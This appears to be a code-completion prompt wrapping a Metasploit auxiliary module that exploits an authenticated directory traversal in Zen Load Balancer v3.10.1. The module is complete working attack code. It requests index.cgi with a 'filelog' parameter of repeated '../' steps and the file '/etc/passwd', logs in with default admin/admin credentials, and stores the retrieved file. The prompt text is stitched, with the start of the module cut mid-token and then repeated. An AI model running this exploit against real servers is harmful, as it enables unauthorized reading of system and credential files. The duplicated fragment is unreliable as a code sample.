You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: zenload_balancer_traversal.rb
    path of file: ./repos/metasploit-framework/modules/auxiliary/scanner/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Zen Load Balancer Directory Traversal',
        'Description' => %q{
          This module exploits a authenticated directory traversal vulnerability in Zen Load
          Balancer `v3.10.1`. The flaw exists in 'index.cgi' not properly handling 'filelog='
          parameter which allows a malicious actor to load arbitrary file path.
        },
        'L
    
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Zen Load Balancer Directory Traversal',
        'Description' => %q{
          This module exploits a authenticated directory traversal vulnerability in Zen Load
          Balancer `v3.10.1`. The flaw exists in 'index.cgi' not properly handling 'filelog='
          parameter which allows a malicious actor to load arbitrary file path.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Basim Alabdullah', # Vulnerability discovery
          'Dhiraj Mishra'     # Metasploit module
        ],
        'References' => [
          ['EDB', '48308']
        ],
        'DisclosureDate' => '2020-04-10',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        Opt::RPORT(444),
        OptBool.new('SSL', [true, 'Use SSL', true]),
        OptInt.new('DEPTH', [true, 'The max traversal depth', 16]),
        OptString.new('FILEPATH', [false, 'The name of the file to download', '/etc/passwd']),
        OptString.new('TARGETURI', [true, 'The base URI path of the ZenConsole install', '/']),
        OptString.new('HttpUsername', [true, 'The username to use for the HTTP server', 'admin']),
        OptString.new('HttpPassword', [false, 'The password to use for the HTTP server', 'admin'])
      ]
    )
  end

  def run_host(ip)
    filename = datastore['FILEPATH']
    traversal = '../' * datastore['DEPTH']

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.cgi'),
      'vars_get' =>
      {
        'id' => '2-3',
        'filelog' => "#{traversal}#{filename}",
        'nlines' => '100',
        'action' => 'See logs'
      },
      'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
    }, 25)

    unless res && res.code == 200
      print_error('Nothing was downloaded')
      return
    end

    print_good("#{peer} - Downloaded #{res.body.length} bytes")
    path = store_loot(
      'zenload.http',
      'text/plain',
      ip,
      res.body,
      filename
    )
    print_good("File saved in: #{path}")
  end
end